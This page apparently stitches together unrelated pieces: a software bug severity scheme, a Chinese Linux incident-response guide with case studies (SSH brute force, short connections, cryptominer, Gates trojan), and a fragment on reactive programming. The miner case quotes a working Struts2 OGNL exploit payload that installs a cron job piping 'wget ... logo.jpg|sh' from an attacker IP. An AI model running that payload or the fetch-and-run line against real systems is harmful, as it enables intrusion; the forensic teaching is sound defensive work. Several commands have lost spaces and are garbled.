精华内容
下载资源
问答
  • 6.虽然正确性不受影响,但系统性能和响应时间受到影响 7.不能定位焦点或定位有误,影响功能实现 8.显示不正确但输出正确 9.增删改功能,在本界面不能实现,但在另一界面可以补充实现。 D类—较小错误...

    A类—严重错误,包括以下各种错误:


    1. 由于程序所引起的死机,非法退出
    2. 死循环
    3. 数据库发生死锁
    4. 因错误操作导致的程序中断
    5. 与数据库连接错误
    6. 数据通讯错误

    B类—较严重错误,包括以下各种错误:


    1.程序接口错误

    2.系统可被执行,但操作功能无法执行(含指令)

    3.单项操作功能可被执行,但在此功能中某些小功能(含指令参数的使用)无法被执行(对系统非致命的)

    4.在小功能项的某些项目(选项)使用无效(对系统非致命的)

    5.业务流程不正确

    6.功能实现不完整,如删除时没有考虑数据关联

    7.功能的实现不正确,如在系统实现的界面上,一些可接受输入的控件点击后无作用;对数据库的操作不能正确实现;

    8.报表格式以及打印内容错误(行列不完整,数据显示不在所对应的行列等导致数据显示结果不正确的错误)


    C类—一般性错误,包括以下各种错误:


    1.操作界面错误(包括数据窗口内列名定义、含义是否一致)

    2.打印内容、格式错误(只影响报表的格式或外观,不影响数据显示结果的错误)

    3.简单的输入限制未放在前台进行控制

    4.删除操作未给出提示

    5.已被捕捉的系统崩溃,不影响继续操作

    6.虽然正确性不受影响,但系统性能和响应时间受到影响

    7.不能定位焦点或定位有误,影响功能实现

    8.显示不正确但输出正确

    9.增删改功能,在本界面不能实现,但在另一界面可以补充实现。


    D类—较小错误,包括以下各种错误:


    1.界面不规范

    2.辅助说明描述不清楚

    3.输入输出不规范

    4.长时间操作未给用户提示

    5.提示窗口文字未采用行业术语

    6.可输入区域和只读区域没有明显的区分标志

    7.必填项与非必填项应加以区别

    8.滚动条无效

    9.键盘支持不好,如在可输入多行的字段中,不支持回车换行;或对相同字段,在不同界面支持不同的快捷方式

    10.界面不能及时刷新,影响功能实现



     E类—其他错误


    1.光标跳转设置不好,鼠标(光标)定位错误

    2.一些建议性问题


    测试结束的标准?

     

    1)模块测试用例执行完毕,覆盖了全部软件需求

     

    2)缺陷收敛趋势符合质量要求

     

    3)缺陷修复率达到产品设计人员的需求

     

    4)达到预先的缺陷度量原则(缺陷密度值达到客户的要求)


    如果一个bug只出现一次,该怎么处理?

     

    1bug出现的同时立即截图留下异常的画面


    2)使用相同的环境、设备、测试步骤、方法,使用相同的输入数据,看能否重 


    3)不能重现,则告诉项目经理发现bug的过程,分析优先级,讨论解决方案


    展开全文
  • Linux 应急响应流程及实战演练

    千次阅读 2019-02-03 08:54:28
    当企业发生黑客入侵、系统崩溃或其它影响业务正常...针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些 Linux 服务器入侵排查的思路。 0x01 入侵排查思路 一、账号安全 基本使用: 1、用...

    当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。

    针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些 Linux 服务器入侵排查的思路。

    0x01 入侵排查思路

    一、账号安全

    基本使用:

    1、用户信息文件 /etc/passwd

    root:x\:0:0:root:/root:/bin/bash

    account:password:UID:GID:GECOS:directory:shell

    用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell

    注意:无密码只允许本机登陆,远程不允许登陆

    2、影子文件 /etc/shadow

    root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7::: 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

    3、几个常用命令:

    who 查看当前登录用户(tty 本地登陆 pts 远程登录)

    w 查看系统信息,想知道某一时刻用户的行为

    uptime 查看登陆多久、多少用户,负载

    入侵排查:

    1、查询特权用户特权用户(uid 为 0)

    [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd

    2、查询可以远程登录的帐号信息

    [root@localhost ~]# awk '/$1|$6/{print $1}' /etc/shadow

    3、除 root 帐号外,其他帐号是否存在 sudo 权限。如非管理需要,普通帐号应删除 sudo 权限

    [root@localhost ~]# more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"

    4、禁用或删除多余及可疑的帐号

    usermod -L user 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头

    userdel user 删除 user 用户

    userdel -r user 将删除user用户,并且将/home目录下的user目录一并删除

    二、历史命令

    基本使用:

    通过 .bash_history 查看帐号执行过的系统命令

    1、root 的历史命令

    histroy

    2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令

    为历史的命令增加登录的IP地址、执行命令时间等信息:

    1)保存 1 万条命令

    sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

    2)在 /etc/profile 的文件尾部添加如下行数配置信息:

    ######jiagu history xianshi#########
    
    USER_IP=who-uam i 2>/dev/null | awk'{print $NF}'| sed-e's/[()]//g'
    
    if[ "$USER_IP"=""]
    
    then
    
    USER_IP=hostname
    
    fi
    
    exportHISTTIMEFORMAT="%F %T $USER_IPwhoami "
    
    shopt-shistappend
    
    exportPROMPT_COMMAND="history -a"
    
    ######### jiagu history xianshi ##########

    3)source /etc/profile 让配置生效

    生成效果:

    1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile

    3、历史操作命令的清除:history -c

    但此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。

    入侵排查:

    进入用户目录下:

    cat .bash_history >> history.txt

    三、端口

    使用 netstat 网络连接命令,分析可疑端口、IP、PID

    netstat -antlp|more

    查看下pid所对应的进程文件路径,

    运行 ls -l /proc/$PID/exefile /proc/$PID/exe($PID 为对应的 pid 号)

    四、进程

    使用 ps 命令,分析进程

    ps aux | grep pid

    五、开机启动项

    基本使用:

    系统运行级别示意图:

    查看运行级别命令

    runlevel

    系统默认允许级别

    vi /etc/inittab id=3:initdefault 系统开机后直接进入哪个运行级别

    开机启动配置文件

    /etc/rc.local /etc/rc.d/rc[0~6].d

    例子:当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc*.d 中建立软链接即可

    root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

    此处 sshd 是具体服务的脚本文件,S100ssh 是其软链接,S 开头代表加载时自启动;如果是 K 开头的脚本文件,代表运行级别加载时需要关闭的。

    入侵排查:

    启动项文件:

    more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

    六、定时任务

    基本使用

    1、利用 crontab 创建计划任务

    crontab -l 列出某个用户 cron 服务的详细内容

    Tips:默认编写的 crontab 文件会保存在 ( /var/spool/cron/用户名 例如: /var/spool/cron/root

    crontab -r 删除每个用户 cront 任务(谨慎:删除所有的计划任务)

    crontab -e 使用编辑器编辑当前的 crontab 文件

    如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

    2、利用 anacron 实现异步定时任务调度

    每天运行 /home/backup.sh 脚本:

    vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh

    当机器在 backup.sh 期望被运行时是关机的,anacron 会在机器开机十分钟之后运行它,而不用再等待 7 天。

    入侵排查

    重点关注以下目录中是否存在恶意脚本

    /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*

    小技巧:

    more /etc/cron.daily/* 查看目录下所有文件

    七、服务

    服务自启动

    第一种修改方法:

    chkconfig [--level 运行级别][独立服务名][on|off] chkconfig –level 2345 httpd on 开启自启动 chkconfig httpd on (默认 level 是 2345)

    第二种修改方法:

    修改 /etc/re.d/rc.local 文件 加入 /etc/init.d/httpd start

    第三种修改方法:

    使用 ntsysv 命令管理自启动,可以管理独立服务和 xinetd 服务。

    入侵排查

    1、查询已安装的服务:

    RPM 包安装的服务:

    chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务

    ps aux | grep crond 查看当前服务

    系统在 3 与 5 级别下的启动项

    中文环境

    chkconfig --list | grep "3:启用|5:启用"

    英文环境

    chkconfig --list | grep "3:on|5:on"

    源码包安装的服务

    查看服务安装位置 ,一般是在 /user/local/

    service httpd start

    搜索 /etc/rc.d/init.d/ 查看是否存在

    八、系统日志

    日志默认存放位置:/var/log/

    查看日志配置情况:more /etc/rsyslog.conf

    日志分析技巧:

    1、定位有多少IP在爆破主机的 root 帐号:

    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

    定位有哪些 IP 在爆破:

    grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

    爆破用户名字典是什么?

    grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

    2、登录成功的 IP 有哪些:

    grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

    登录成功的日期、用户名、IP:

    grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

    3、增加一个用户 kali 日志:

    Jul1000:12:15localhostuseradd[2382]: newgroup: name=kali, GID=1001
    Jul1000:12:15localhostuseradd[2382]: newuser: name=kali, UID=1001, GID=1001, home=/home/kali
    , shell=/bin/bash
    Jul1000:12:58localhostpasswd: pam_unix(passwd:chauthtok): passwordchangedforkali
    #grep"useradd"/var/log/secure

    4、删除用户kali日志:

    Jul1000:14:17localhostuserdel[2393]: deleteuser'kali'
    Jul1000:14:17localhostuserdel[2393]: removedgroup'kali' ownedby'kali'
    Jul1000:14:17localhostuserdel[2393]: removedshadowgroup'kali' ownedby'kali'
    #grep"userdel"/var/log/secure

    5、su 切换用户:

    Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

    sudo 授权执行:

    sudo -lJul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

    0x02 工具篇

    一、Rootkit 查杀

    chkrootkit :

    http://www.chkrootkit.org

    使用方法:

    wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
    tar zxvf chkrootkit.tar.gz
    cdchkrootkit-0.52
    makesense
    #编译完成没有报错的话执行检查
    ./chkrootkit

    rkhunter

    http://rkhunter.sourceforge.net

    使用方法:

    Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
    tar -zxvfrkhunter-1.4.4.tar.gz
    cdrkhunter-1.4.4
    ./installer.sh --install
    rkhunter -c

    二、病毒查杀

    Clamav

    ClamAV 的官方下载地址为:

    http://www.clamav.net/download.html

    安装方式一:

    1、安装 zlib:

    wgethttp://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz 
    tar -zxvfzlib-1.2.7.tar.gz
    cdzlib-1.2.7
    #安装一下gcc编译环境: yum install gcc
    CFLAGS="-O3 -fPIC"./configure --prefix=/usr/local/zlib/
    make&& makeinstall

    2、添加用户组 clamav 和组成员 clamav:

    groupadd clamav
    useradd -gclamav -s/bin/false -c"Clam AntiVirus"clamav

    3、安装 Clamav

    tar –zxvf clamav-0.97.6.tar.gz
    cdclamav-0.97.6
    ./configure --prefix=/opt/clamav --disable-clamav-with-zlib=/usr/local/zlib
    make
    makeinstall

    4、配置 Clamav

    mkdir/opt/clamav/logs
    mkdir/opt/clamav/updata
    touch/opt/clamav/logs/freshclam.log
    touch/opt/clamav/logs/clamd.log
    cd/opt/clamav/logs
    chownclamav:clamav clamd.log
    chownclamav:clamav freshclam.log

    5、ClamAV 使用:

    /opt/clamav/bin/freshclam 升级病毒库

    ./clamscan –h 查看相应的帮助信息

    ./clamscan -r /home 扫描所有用户的主目录就使用

    ./clamscan -r --bell -i /bin 扫描 bin 目录并且显示有问题的文件的扫描结果

    安装方式二:

    #安装
    yum install -yclamav
    
    #更新病毒库
    freshclam
    
    #扫描方法
    clamscan -r/etc --max-dir-recursion=5-l/root/etcclamav.log
    clamscan -r/bin --max-dir-recursion=5-l/root/binclamav.log
    clamscan -r/usr --max-dir-recursion=5-l/root/usrclamav.log
    
    #扫描并杀毒
    clamscan -r --remove/usr/bin/bsd-port
    clamscan -r --remove/usr/bin/
    clamscan -r--remove/usr/local/zabbix/sbin
    
    #查看日志发现
    cat/root/usrclamav.log |grep FOUND

    三、webshell 查杀

    linux 版:

    河马 webshell 查杀:

    http://www.shellpub.com

    深信服 Webshell 网站后门检测工具:

    http://edr.sangfor.com.cn/backdoor_detection.html

    四、RPM check 检查

    系统完整性可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,查看哪些命令是否被替换了:

    ./rpm -Va > rpm.log

    如果一切均校验正常将不会产生任何输出,如果有不一致的地方,就会显示出来,输出格式是 8 位长字符串,每个字符都用以表示文件与 RPM 数据库中一种属性的比较结果 ,如果是. (点) 则表示测试通过。

    验证内容中的 8 个信息的具体内容如下:

    S文件大小是否改变

    M文件的类型或文件的权限(rwx)是否被改变

    5文件 MD5 校验是否改变(可以看成文件内容是否改变)

    D设备中,从代码是否改变

    L文件路径是否改变

    U文件的属主(所有者)是否改变

    G文件的属组是否改变

    T文件的修改时间是否改变

    如果命令被替换了,如果还原回来:

    文件提取还原案例:

    rpm -qf /bin/ls 查询ls命令属于哪个软件包

    mv /bin/ls /tmp 先把 ls 转移到 tmp 目录下,造成 ls 命令丢失的假象

    rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到当前目录的 /bin/ls

    cp /root/bin/ls /bin/ 把 ls 命令复制到 /bin/ 目录 修复文件丢失

    0x03 应急响应实战之 SSH 暴力破解

    SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议,主要用于给远程登录会话数据进行加密,保证数据传输的安全。SSH 口令长度太短或者复杂度不够,如仅包含数字,或仅包含字母等,容易被攻击者破解,一旦被攻击者获取,可用来直接登录系统,控制服务器所有权限。

    应急场景

    某天,网站管理员登录服务器进行巡检时,发现端口连接里存在两条可疑的连接记录,如下图:

    1、TCP 初始化连接三次握手吧:发 SYN 包,然后返回 SYN/ACK 包,再发 ACK 包,连接正式建立。但是这里有点出入,当请求者收到 SYS/ACK 包后,就开始建立连接了,而被请求者第三次握手结束后才建立连接。

    2、客户端 TCP 状态迁移:

    CLOSED->SYN_SENT->ESTABLISHED->FIN_WAIT_1->FIN_WAIT_2->TIME_WAIT->CLOSED

    服务器 TCP 状态迁移:

    CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE_WAIT->LAST_ACK->CLOSED

    3、当客户端开始连接时,服务器还处于 LISTENING,客户端发一个 SYN 包后,服务端接收到了客户端的 SYN 并且发送了 ACK 时,服务器处于 SYN_RECV 状态,然后并没有再次收到客户端的 ACK 进入 ESTABLISHED 状态,一直停留在 SYN_RECV 状态。

    在这里,SSH(22)端口,两条外网 IP 的 SYN_RECV 状态连接,直觉告诉了管理员,这里一定有什么异常。

    日志分析

    SSH 端口异常,我们首先有必要先来了解一下系统账号情况:

    A、系统账号情况

    1、除 root 之外,是否还有其它特权用户 (uid 为 0)

    [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd root

    2、可以远程登录的帐号信息

    [root@localhost ~]# awk '/$1|$6/{print $1}' /etc/shadow root:$6$38cKfZDjsTiUe58V$FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGvwwBei7nUbbqJC./qK12HN8jFuXOfEYIKLID6hq0::0:99999:7:::

    我们可以确认目前系统只有一个管理用户 root。

    接下来,我们想到的是 /var/log/secure,这个日志文件记录了验证和授权方面的信息,只要涉及账号和密码的程序都会记录下来。

    B、确认攻击情况:

    1、统计了下日志,发现大约有 126254 次登录失败的记录,确认服务器遭受暴力破解

    [root@localhost ~]# grep -o "Failed password" /var/log/secure|uniq -c 126254 Failed password

    2、输出登录爆破的第一行和最后一行,确认爆破时间范围:

    [root@localhost ~]# grep "Failed password" /var/log/secure|head -1 Jul 8 20:14:59 localhost sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2 [root@localhost ~]# grep "Failed password" /var/log/secure|tail -1 Jul 10 12:37:21 localhost sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2

    3、进一步定位有哪些 IP 在爆破?

    [root@localhost ~]# grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c | sort -nr 12622 23.91.xxx.xxx 8942 114.104.xxx.xxx 8122 111.13.xxx.xxx 7525 123.59.xxx.xxx ...................

    4、爆破用户名字典都有哪些?

    [root@localhost ~]# grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr 9402 root 3265 invalid user oracle 1245 invalid user admin 1025 invalid user user .....................

    C、管理员最近登录情况:

    1、登录成功的日期、用户名、IP:

    [root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' Jul 9 09:38:09 root 192.168.143.100Jul 9 14:55:51 root 192.168.143.100Jul 10 08:54:26 root 192.168.143.100Jul 10 16:25:59 root 192.168.143.100............................

    通过登录日志分析,并未发现异常登录时间和登录IP。

    2、顺便统计一下登录成功的 IP 有哪些:

    [root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 27 192.168.204.1

    通过日志分析,发现攻击者使用了大量的用户名进行暴力破解,但从近段时间的系统管理员登录记录来看,并未发现异常登录的情况,需要进一步对网站服务器进行入侵排查,这里就不再阐述。

    处理措施

    SSH暴力破解依然十分普遍,如何保护服务器不受暴力破解攻击,总结了几种措施:

    1、禁止向公网开放管理端口,若必须开放应限定管理 IP 地址并加强口令安全审计(口令长度不低于 8 位,由数字、大小写字母、特殊字符等至少两种以上组合构成)。

    2、更改服务器 ssh 默认端口。

    3、部署入侵检测设备,增强安全防护。

    0x04 应急响应实战之短连接

    短连接(short connnection)是相对于长连接而言的概念,指的是在数据传送过程中,只在需要发送数据时,才去建立一个连接,数据发送完成后,则断开此连接,即每次连接只完成一项业务的发送。 在系统维护中,一般很难去察觉,需要借助网络安全设备或者抓包分析,才能够去发现。

    应急场景

    某天,网络管理员在出口 WAF 检测到某台服务器不断向香港I发起请求 ,感觉很奇怪,登录服务器排查,想要找到发起短连接的进程。

    日志分析

    登录服务器查看端口、进程,并未发现发现服务器异常,但是当多次刷新端口连接时,可以查看该连接。 有时候一直刷这条命令好十几次才会出现,像这种的短连接极难捕捉到对应的进程和源文件。

    手动捕捉估计没戏,很难追踪,于是动手写了一段小脚本来捕捉短连接对应的pid和源文件。

    脚本文件如下:

    #!/bin/bash
    
    ip=118.184.15.40
    
    i=1
    
    while:
    
    do
    
      tmp=netstat -anplt|grep $ip|awk -F'[/]''{print $1}'|awk '{print $7}'
    
      #echo $tmp
    
      iftest -z"$tmp"
    
      then
    
          ((i=i+1)) 
    
      else
    
          forpid in$tmp; do
       
              echo"PID: "${pid}
       
             result=`ls -lh /proc/$pid|grep exe`
       
             echo"Process: "${result}
       
             kill-9$pid
       
          done
       
          break
    
      fi
    
    done
    
    echo"Total number of times: "${i}

    运行结果如下:

    跑了三次脚本,可以发现短连接每次发起的进程 Pid 一直在变,但已经捕捉到发起该异常连接的进程源文件为 /usr/lib/nfsiod

    小结

    本文简单介绍了短连接以及捕捉短连接源文件的技巧,站在安全管理员的角度,应加强对网络安全设备的管理,在网络层去发现更多在系统层很难察觉的安全威胁。

    0x05 应急响应实战之挖矿病毒

    随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式。新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染的成功率,通过利用永恒之蓝(EternalBlue)、web 攻击多种漏洞(如 Tomcat 弱口令攻击、Weblogic WLS 组件漏洞、Jboss 反序列化漏洞、Struts2 远程命令执行等),导致大量服务器被感染挖矿程序的现象 。

    应急场景

    某天,安全管理员在登录安全设备巡检时,发现某台网站服务器持续向境外IP发起连接,下载病毒源:

    事件分析

    A、排查过程

    登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 :

    下载 logo.jpg,包含脚本内容如下:

    到这里,我们可以发现攻击者下载 logo.jpg 并执行了里面了 shell 脚本,那这个脚本是如何启动的呢?

    通过排查系统开机启动项、定时任务、服务等,在定时任务里面,发现了恶意脚本,每隔一段时间发起请求下载病毒源,并执行 。

    B、溯源分析

    在 Tomcat log 日志中,我们找到这样一条记录:

    对日志中攻击源码进行摘录如下:

    {(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh\n*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh" | crontab -;wget -O - -q http://5.188.87.11/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    可以发现攻击代码中的操作与定时任务中异常脚本一致,据此推断黑客通过 Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行。

    C、清除病毒

    1、删除定时任务:

    2、终止异常进程:

    D、漏洞修复

    升级 struts 到最新版本

    防范措施

    针对服务器被感染挖矿程序的现象,总结了几种预防措施:

    1、安装安全软件并升级病毒库,定期全盘扫描,保持实时防护

    2、及时更新 Windows 安全补丁,开启防火墙临时关闭端口

    3、及时更新 web漏洞补丁,升级web组件

    0x06 应急响应实战之盖茨木马

    Linux 盖茨木马是一类有着丰富历史,隐藏手法巧妙,网络攻击行为显著的 DDoS 木马,主要恶意特点是具备了后门程序,DDoS 攻击的能力,并且会替换常用的系统文件进行伪装。木马得名于其在变量函数的命名中,大量使用 Gates 这个单词。分析和清除盖茨木马的过程,可以发现有很多值得去学习和借鉴的地方。

    应急场景

    某天,网站管理员发现服务器 CPU 资源异常,几个异常进程占用大量网络带宽:

    事件分析

    异常 IP连接:

    异常进程:

    查看进行发现 ps aux 进程异常,进入该目录发现多个命令,猜测命令可能已被替换

    登录服务器,查看系统进程状态,发现不规则命名的异常进程、异常下载进程 :

    异常启动项

    进入rc3.d目录可以发现多个异常进行:

    /etc/rc.d/rc3.d/S97DbSecuritySpt /etc/rc.d/rc3.d/S99selinux

    搜索病毒原体

    find / -size -1223124c -size +1223122c -exec ls -id {} \; 搜索 1223123 大小的文件

    从以上种种行为发现该病毒与“盖茨木马”有点类似,具体技术分析细节详见:

    Linux平台“盖茨木马”分析

    http://www.freebuf.com/articles/system/117823.html

    悬镜服务器卫士丨Linux平台“盖茨木马”分析

    http://www.sohu.com/a/117926079_515168

    手动清除木马过程:

    1、简单判断有无木马

    #有无下列文件
    
    cat/etc/rc.d/init.d/selinux
    
    cat/etc/rc.d/init.d/DbSecuritySpt
    
    ls/usr/bin/bsd-port
    
    ls/usr/bin/dpkgd
    
    #查看大小是否正常
    
    ls-lh/bin/netstat
    
    ls-lh/bin/ps
    
    ls-lh/usr/sbin/lsof
    
    ls-lh/usr/sbin/ss

    2、上传如下命令到 /root 下

    ps netstat ss lsof

    3、删除如下目录及文件

    rm-rf/usr/bin/dpkgd (ps netstat lsof ss)
    
    rm-rf/usr/bin/bsd-port     #木马程序
    
    rm-f/usr/bin/.sshd         #木马后门
    
    rm-f/tmp/gates.lod
    
    rm-f/tmp/moni.lod
    
    rm-f/etc/rc.d/init.d/DbSecuritySpt(启动上述描述的那些木马变种程序)
    
    rm-f/etc/rc.d/rc1.d/S97DbSecuritySpt
    
    rm-f/etc/rc.d/rc2.d/S97DbSecuritySpt
    
    rm-f/etc/rc.d/rc3.d/S97DbSecuritySpt
    
    rm-f/etc/rc.d/rc4.d/S97DbSecuritySpt
    
    rm-f/etc/rc.d/rc5.d/S97DbSecuritySpt
    
    rm-f/etc/rc.d/init.d/selinux(默认是启动/usr/bin/bsd-port/getty)
    
    rm-f/etc/rc.d/rc1.d/S99selinux
    
    rm-f/etc/rc.d/rc2.d/S99selinux
    
    rm-f/etc/rc.d/rc3.d/S99selinux
    
    rm-f/etc/rc.d/rc4.d/S99selinux
    
    rm-f/etc/rc.d/rc5.d/S99selinux

    4、找出异常程序并杀死

    5、删除含木马命令并重新安装

    命令替换

    RPM check 检查:

    系统完整性也可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包,有哪些被篡改了,防止 rpm 也被替换,上传一个安全干净稳定版本 rpm 二进制到服务器上进行检查

    ./rpm -Va > rpm.log

    如果一切均校验正常将不会产生任何输出。如果有不一致的地方,就会显示出来。输出格式是8位长字符串, c 用以指配置文件, 接着是文件名. 8 位字符的每一个 用以表示文件与 RPM 数据库中一种属性的比较结果 。. (点) 表示测试通过。.下面的字符表示对 RPM 软件包进行的某种测试失败:

    命令替换:

    rpm2cpio 包全名 | cpio -idv .文件绝对路径 rpm 包中文件提取

    Rpm2cpio 将 rpm 包转换为 cpio 格式的命令

    Cpio 是一个标准工具,它用于创建软件档案文件和从档案文件中提取文件

    Cpio 选项 < [文件|设备]

    -i:copy-in 模式,还原-d:还原时自动新建目录-v:显示还原过程

    文件提取还原案例:

    查询ls命令属于哪个软件包

    rpm -qf /bin/ls

    mv /bin/ls /tmp

    提取rpm包中ls命令到当前目录的 /bin/ls 下:

    rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls

    把 ls 命令复制到 /bin/ 目录 修复文件丢失:

    cp /root/bin/ls /bin/

    挂载命令 rpm 包:

    mkdir /mnt/chrom/ 建立挂载点 mount -t iso9660 /dev/cdrom /mnt/cdrom/ 挂在光盘 mount/dev/sr0 /mnt/cdrom/

    卸载命令

    umount 设备文件名或挂载点 umount /mnt/cdrom/

    参考链接:

    https://www.zhihu.com/question/33964391

    http://www.freebuf.com/articles/system/11424.html

    https://help.aliyun.com/knowledge_detail/37479.html?spm=a2c4g.11186623.4.1.W0eomj

    https://cloud.tencent.com/document/product/296/9604

    展开全文
  • 函数式编程和响应式编程

    万次阅读 2017-06-12 21:37:57
    响应式编程目标就是,如果b或者c的数值发生变化,a的数值会同时发生变化。函数式编程函数式编程是一系列被不公平对待的编程思想的保护伞,它的核心思想是,它是一种将程序看成是数学方法的求值、不会改变状态、不会...

    在程序开发中,a=b+c;赋值之后,b或者c的值变化后,a的值不会跟着变化。响应式编程目标就是,如果b或者c的数值发生变化,a的数值会同时发生变化。

    函数式编程

    函数式编程是一系列被不公平对待的编程思想的保护伞,它的核心思想是,它是一种将程序看成是数学方法的求值、不会改变状态、不会产生副作用(后面我们马上会谈到)的编程方式。

    FP 核心思想强调:

    • 声明式代码 —— 程序员应该关心是什么,让编译器和运行环境去关心怎样做。

    • 明确性 —— 代码应该尽可能的明显。尤其是要隔离副作用避免意外。要明确定义数据流和错误处理,要避免 GOTO 语句和 异常,因为它们会将应用置于意外的状态。

    • 并发 —— 因为纯函数的概念,大多数函数式代码默认都是并行的。由于CPU运行速度没有像以前那样逐年加快((详见 摩尔定律)), 普遍看来这个特点导致函数式编程渐受欢迎。以及我们也必须利用多核架构的优点,让代码尽量的可并行。

    • 高阶函数 —— 函数和其他的语言基本元素一样是一等公民。你可以像使用 string 和 int 一样的去传递函数。

    • 不变性 —— 变量一经初始化将不能修改。一经创建,永不改变。如果需要改变,需要创建新的。这是明确性和避免副作用之外的另一方面。如果你知道一个变量不能改变,当你使用时会对它的状态更有信心。

    函数式编程:JS、Scala、Erlang

    响应式编程

    响应式系统具备如下特点:

    • 响应性 —— 一个系统应该总是能够及时响应用户请求,并且保持很低的延迟。

    • 弹性 —— 一个系统即使在部分组件开始出现故障的情况下也应该能够作出响应,将停机时间将至最低。

    • 可伸缩性 —— 一个系统在负载增加时应该能够根据需求增加资源以确保响应性,但同时也应该能在负载降低时减少资源,保持高效的资源利用率。

    • 消息驱动 —— 在一个系统的不同部分之间传递消息,Ledbrook认为这是响应式系统的一个必备特点。

    响应式实际上是观察者模式加上事件源的完成通知能力、错误传播能力和监听者同事件源通信的能力。

    响应式流是一种规范,ReactiveX是一种常用的跨平台实现。

    下面三个重要的概念是响应式流API的构建基础:

    • 发布者是事件的发送方,可以向它订阅。

